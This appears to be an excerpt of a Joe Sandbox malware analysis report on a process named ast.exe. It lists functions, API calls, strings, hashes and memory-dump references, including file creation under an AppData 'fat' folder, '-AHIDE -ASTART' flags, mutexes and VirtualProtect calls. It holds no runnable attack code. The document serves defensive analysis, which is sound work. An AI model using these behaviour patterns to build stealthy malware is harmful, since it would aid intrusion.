Instruction ID: b4f90ce492b30b778564e51ca5e10682d2d825f63c4d00cf3b4661d0a25c2fe4
Opcode Fuzzy Hash: 9188798f5bb0a616443183278e19d67f279a0ad68efcc32fa594c58a71471519
Instruction Fuzzy Hash: 4621E0B0909740EBE7109B70C90AB87BBE8EF05309F440069F45E96251DBBDA164CBE6

Function 6B6FAB80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B6FABA5
___from_strstr_to_strchr.LIBCMT ref: 6B6FABD5

Strings

8Tlk, xrefs: 6B6FAB89

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: 8Tlk
API String ID: 601868998-1816532293
Opcode ID: 9bf5e416b5dd8105ad433a63281058cab258d468c68ca83fe4601581a0470b8c
Instruction ID: febb0f59eb96f335deb13959db58bd3ce70e28c5883cc6a8578de9d39909911b
Opcode Fuzzy Hash: 9bf5e416b5dd8105ad433a63281058cab258d468c68ca83fe4601581a0470b8c
Instruction Fuzzy Hash: E41188B55082555FEB018E24AC807B6BBBFAF062D9F1444D6DCD49B203D329D957CBA0

Function 6B6CCA30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 6B6CCA6D
_strstr.LIBCMT ref: 6B6CCA84

Strings

;type=, xrefs: 6B6CCA65, 6B6CCA79

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: _strstr
String ID: ;type=
API String ID: 2882301372-3507045495
Opcode ID: b64c4854e4de28a1433d0cbfed83d5ed7da3d69682219e6d29b52edc21e56f69
Instruction ID: f171693af8faa99fac330b1ca7b15390c277acdce34c6885d4599bfaa743698f
Opcode Fuzzy Hash: b64c4854e4de28a1433d0cbfed83d5ed7da3d69682219e6d29b52edc21e56f69
Instruction Fuzzy Hash: 7011E6F15443459ED710DF68D8487C2BFE4EB05368F08027AE85E8F281D77AA55587E2

Function 6B6C33D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

getsockopt.WS2_32(00004020,0000FFFF,00001001,00000000,00000004), ref: 6B6C343B
setsockopt.WS2_32(00004020,0000FFFF,00001001,00004020,00000004), ref: 6B6C3460

Strings

@, xrefs: 6B6C33DB

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: getsockoptsetsockopt
String ID: @
API String ID: 194641219-2726393805
Opcode ID: e3bc06be760f3c887caa528c37f2875e8f7a4479f0e656ee4ddac5dea0d927c2
Instruction ID: 91f21098da90497277ff3b5576d3a6ad3095374fc5b60719853277f58c3818ec
Opcode Fuzzy Hash: e3bc06be760f3c887caa528c37f2875e8f7a4479f0e656ee4ddac5dea0d927c2
Instruction Fuzzy Hash: B501B5B1944209FBEF21DF94DC46BAE77B8EB01705F0081A1FA14EA2C0DBBAD6549B41

Function 6B6DD8C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(Digest,6B6DB74C,00000006,00000DD0,?,?,6B6DB74C), ref: 6B6DD8E6

Strings

Digest, xrefs: 6B6DD8DF
t!, xrefs: 6B6DD91E

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_strnequal
String ID: Digest$t!
API String ID: 482932555-3305821177
Opcode ID: 91430005cd4cff66667082c7893c7055cd72c23b4460a806b69fe0b836426cf4
Instruction ID: 5d2d683f165b673e8b6092787925fc5824dcae5207388d34e62dc1964cc9ee50
Opcode Fuzzy Hash: 91430005cd4cff66667082c7893c7055cd72c23b4460a806b69fe0b836426cf4
Instruction Fuzzy Hash: E7F0FCD3E4425412DB005D697C01B9777DD4F42158F0800B2FD9CDB242E62AE5158AF1

Function 6B71FE5E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6B71FE82

Part of subcall function 6B71F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0), ref: 6B71F800
Part of subcall function 6B71F7EA: GetLastError.KERNEL32(6B7438A0,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0,6B7438A0), ref: 6B71F812

Strings

8hlk, xrefs: 6B71FE63
8hlk, xrefs: 6B71FE64

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID: 8hlk$8hlk
API String ID: 1353095263-184109835
Opcode ID: 9770ed075f98e788226680082193b8a9b24cb435b710d5a09513da189204d849
Instruction ID: 817f8c4bc8f6697079c2808c04e4538ae84298697a88e5cfdec7e03868cd5e56
Opcode Fuzzy Hash: 9770ed075f98e788226680082193b8a9b24cb435b710d5a09513da189204d849
Instruction Fuzzy Hash: 26F06D371443059F8710CE68DA00A86B7E4EF99621310892AF89ED7211D330E412CBA0

Function 6B6F04D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29sleepnetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00002726,?,6B6E744F,?,?,?,?,00000000,?), ref: 6B6F04EE
Sleep.KERNEL32(FFFFFFFE), ref: 6B6F0511

Strings

Otnk, xrefs: 6B6F04D8

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLastSleep
String ID: Otnk
API String ID: 1458359878-2429921538
Opcode ID: c8413a98bb0a9d6275c1ad748afb031a3cb3143410feee8ec2467330b1d0fb17
Instruction ID: 49bbf2a865871e345904740672ae0e5d6e166038f080a0a6ad2a6a531947211e
Opcode Fuzzy Hash: c8413a98bb0a9d6275c1ad748afb031a3cb3143410feee8ec2467330b1d0fb17
Instruction Fuzzy Hash: C8E065B161460946EB184E694D04619335FAB85234F10D719BC39C62D4E7B9D4024540

Analysis Process: ast.exePID: 6856, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	20.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.9%
Total number of Nodes:	103
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 070641D8 Relevance: 7.6, APIs: 5, Instructions: 51
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(?,070641D4), ref: 070641D9
FindFirstFileA.KERNEL32(?,?), ref: 070641ED

Part of subcall function 070641FD: lstrcmp.KERNEL32(?,070641FB), ref: 070641FE
Part of subcall function 070641FD: lstrcat.KERNEL32(?,?), ref: 0706422C
Part of subcall function 070641FD: FindNextFileA.KERNELBASE(?,?), ref: 07064251
Part of subcall function 070641FD: FindClose.KERNEL32(?), ref: 0706426D

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: Find$Filelstrcat$CloseFirstNextlstrcmp
String ID:
API String ID: 1879274390-0
Opcode ID: 8af313923bb07023a55c4ac66069c8520caa648c5f57acff3dc1ab27e9a43229
Instruction ID: 9081da09aba1cadf945909dbd7a4d57dc0c7406cf53e3290254af59d0544d461
Opcode Fuzzy Hash: 8af313923bb07023a55c4ac66069c8520caa648c5f57acff3dc1ab27e9a43229
Instruction Fuzzy Hash: F701D6F25042829FCB219F34DC5DA8B7FE9EB15341B424661F106D2211DA38C6108B21

Function 07064BB7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrRStrIW.SHELL32(?,00000000,07062E63), ref: 07064BD5
StrRStrIW.SHELL32(?,00000000,C:\Users\user\AppData\Roaming\fat\), ref: 07064BE9
StrRStrIW.SHELL32(?,00000000,.log), ref: 07064BFD
CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 07064C26

Strings

.log, xrefs: 07064BF3
C:\Users\user\AppData\Roaming\fat\, xrefs: 07064BDF

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: CreateFile
String ID: .log$C:\Users\user\AppData\Roaming\fat\
API String ID: 823142352-1129110882
Opcode ID: 3e83f0f9e9a5d5ccc0b465a92b0860685f84ff2c0b72718761f39d1112cceb83
Instruction ID: 3fece4ac68d7ff4adfcc1682eaa43331a7de747a484ba9de228a23eaf46a355d
Opcode Fuzzy Hash: 3e83f0f9e9a5d5ccc0b465a92b0860685f84ff2c0b72718761f39d1112cceb83
Instruction Fuzzy Hash: BB016D7220024ABBCF525F65DC5AF8B3FA5FF18764F048224F915A91A1DB7AC260EB50

Function 07064B3D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrRStrIA.SHELL32(?,00000000,07062E5B), ref: 07064B5B
StrRStrIA.SHELL32(?,00000000,C:\Users\user\AppData\Roaming\fat\), ref: 07064B6F
StrRStrIA.SHELL32(?,00000000,\log\), ref: 07064B83
CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 07064BAC

Strings

C:\Users\user\AppData\Roaming\fat\, xrefs: 07064B65
\log\, xrefs: 07064B79

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: CreateFile
String ID: C:\Users\user\AppData\Roaming\fat\$\log\
API String ID: 823142352-2537490315
Opcode ID: 158216dd6bedd5a0fc7b3319a860ffcd023fe9122ca6671e002e3afeb53782a6
Instruction ID: 7285d1f455eb7f5e7e528b56916296f2bbdc9c4727231fcd60ffbc2f43176e89
Opcode Fuzzy Hash: 158216dd6bedd5a0fc7b3319a860ffcd023fe9122ca6671e002e3afeb53782a6
Instruction Fuzzy Hash: D6011D7120024AFBDF515F95DC5AF9A3FE9FF05754F008225FA15A80A0D7BAC660DB40

Function 07064E18 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmp.KERNEL32(?,07064E12), ref: 07064E19
lstrlen.KERNEL32(?,?), ref: 07064EC3

Strings

C:\Users\user\AppData\Roaming\fat\, xrefs: 07064E43
C:\Users\user\AppData\Roaming\fat\, xrefs: 07064E59
-AHIDE -ASTART, xrefs: 07064ED7

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: lstrcmplstrlen
String ID: -AHIDE -ASTART$C:\Users\user\AppData\Roaming\fat\$C:\Users\user\AppData\Roaming\fat\
API String ID: 898299967-807603291
Opcode ID: d0d5663ac9830f152538eff5ee5857aefd135ccff5b5075167564ee33501e7db
Instruction ID: 0a6d5bbfdc54589f080af8902a61b5171ac71969a330f855b0a46397350b4414
Opcode Fuzzy Hash: d0d5663ac9830f152538eff5ee5857aefd135ccff5b5075167564ee33501e7db
Instruction Fuzzy Hash: 591152F1690354FEE7907B70DC2AF8A36E9EB00714F518351B350A90D1DABD5A548E2A

Function 070641FD Relevance: 6.0, APIs: 4, Instructions: 44filestringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,070641FB), ref: 070641FE
FindNextFileA.KERNELBASE(?,?), ref: 07064251
FindClose.KERNEL32(?), ref: 0706426D

Part of subcall function 07064210: lstrcmp.KERNEL32(?,0706420D), ref: 07064211
Part of subcall function 07064210: lstrcat.KERNEL32(?,?), ref: 0706422C

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: Findlstrcmp$CloseFileNextlstrcat
String ID:
API String ID: 360925478-0
Opcode ID: df376b26f4071ed67b7d6ac83fc98c77ab5eff411329c3a661190221dd55037e
Instruction ID: d016308b3b39e05bcd60cb43a1d69bd4974c8b88d14201a2fb0f7d6b01c17445
Opcode Fuzzy Hash: df376b26f4071ed67b7d6ac83fc98c77ab5eff411329c3a661190221dd55037e
Instruction Fuzzy Hash: F801D1F2504186AFCB52AF38DC5DA9E7FE9EB16345B1206A1F106D1211DF388A608B32

Function 07064210 Relevance: 6.0, APIs: 4, Instructions: 36
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmp.KERNEL32(?,0706420D), ref: 07064211
lstrcat.KERNEL32(?,?), ref: 0706422C
FindNextFileA.KERNELBASE(?,?), ref: 07064251
FindClose.KERNEL32(?), ref: 0706426D

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: Find$CloseFileNextlstrcatlstrcmp
String ID:
API String ID: 122021188-0
Opcode ID: 527067ad32a0bed7e5f4a9c25d17938efa701b79111dcdf75ce785e8cae4976d
Instruction ID: b58d46a0085d181eff2b5c11778440dba4ae8643dab637fb342bad256ccfeb63
Opcode Fuzzy Hash: 527067ad32a0bed7e5f4a9c25d17938efa701b79111dcdf75ce785e8cae4976d
Instruction Fuzzy Hash: 6FF090F2500145AFCB215F38DC49A9B3FF9EB55345F120561F206D1111DB388A619B31

Function 07064A0A Relevance: 4.6, APIs: 3, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00000005,00003000,00000040,07064F3C,07088D70,00000000,Tjs,07064C31,07088D20,00000000,070649CC), ref: 07064A6C
VirtualProtect.KERNEL32(?,00000005,00000040,00000000), ref: 07064AEF
VirtualProtect.KERNEL32(?,00000005,00000000,00000000), ref: 07064B13

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: c2ee980d06ee6299001cc78cbc22669a741c60400df149e93d93a037ae2cf8b6
Instruction ID: d3080dbed19508d9a6edd4bb73a7cbdc39d793aed116e02065eaf3964b9a3485
Opcode Fuzzy Hash: c2ee980d06ee6299001cc78cbc22669a741c60400df149e93d93a037ae2cf8b6
Instruction Fuzzy Hash: 203154B5A0020AEFDB11DFB4C958E9EBBF9EF44740F158259F901A7294D774DA00CB60

Function 07064D7D Relevance: 4.5, APIs: 3, Instructions: 27
stringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrRStrIA.SHELL32(?,00000000,07064D74), ref: 07064D80
lstrlen.KERNEL32(?), ref: 07064D8B
CreateMutexA.KERNEL32(?,?), ref: 07064DCB

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: CreateMutexlstrlen
String ID:
API String ID: 2542342894-0
Opcode ID: ecdafdb22cedd250096534cca25e636da4a06d4c24eba122f98eff74b15daa98
Instruction ID: b81b1f362ee2ad241df6c7191a9dbda3eb3625633ed8fc9e24ff20f647811c92
Opcode Fuzzy Hash: ecdafdb22cedd250096534cca25e636da4a06d4c24eba122f98eff74b15daa98
Instruction Fuzzy Hash: 7EE048B29017A5ABDBA16FB1DC5DB9A3BE8EF01254B154725FA01D9080DB38C710C761

Function 07001000 Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 07001035
CloseHandle.KERNEL32(?), ref: 07001099

Memory Dump Source

Source File: 0000000B.00000003.2864608852.0000000007001000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_7001000_ast.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: fbb43184b826b6abe57b31de2b775d04d5eb9ecacda1644dcf87349424a33543
Instruction ID: e40146005b04525ebc40bd926a600e087f003db07dc5e13284d53aaa9afdd3c4
Opcode Fuzzy Hash: fbb43184b826b6abe57b31de2b775d04d5eb9ecacda1644dcf87349424a33543
Instruction Fuzzy Hash: B9112EB4600305EFEB616FB4CD4AF697AE9FB04300F25C261A980DB2D9DA75D9049B51

Function 07064DB5 Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 07064DB6
CreateMutexA.KERNEL32(?,?), ref: 07064DCB

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: CreateMutexwsprintf
String ID:
API String ID: 1107950-0
Opcode ID: 491ee96da1f39f85aaac83f462c2d47c91582d13e4a2c114ce5e36d15c476d3e
Instruction ID: cafd495364a64e36139761136ce8f89e460d9b9187980917f828461c85346606
Opcode Fuzzy Hash: 491ee96da1f39f85aaac83f462c2d47c91582d13e4a2c114ce5e36d15c476d3e
Instruction Fuzzy Hash: 28D0A7B2500240ABCF512F94D88DA4A3FD4EF112543008514F6058A040D2398220CB50

Function 07064365 Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008000), ref: 07064397

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873152970.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873190200.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873222406.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873248470.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7000000_ast.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: ca7b281a12b0b7647c3544942ef7c396436fecb16222069f8ebc2359776df8dd
Instruction ID: 20f5efdd5c674b482dfdf73b9e128a54450311da8c48ca4aae8bffa2b20fd338
Opcode Fuzzy Hash: ca7b281a12b0b7647c3544942ef7c396436fecb16222069f8ebc2359776df8dd
Instruction Fuzzy Hash: 47E0ECB1D01308EFDB51DFA4D60978DB7F4BB10308F6181A4C44163244EB799F08AB41

Non-executed Functions

Function 07064CEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Roaming\fat\), ref: 07064D05
PathRemoveBackslashA.SHLWAPI(?), ref: 07064D0C

Strings

C:\Users\user\AppData\Roaming\fat\, xrefs: 07064CFF

Memory Dump Source

Source File: 0000000B.00000002.2873047154.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true

Associated: 0000000B.00000002.2873024875.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.2873084261.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
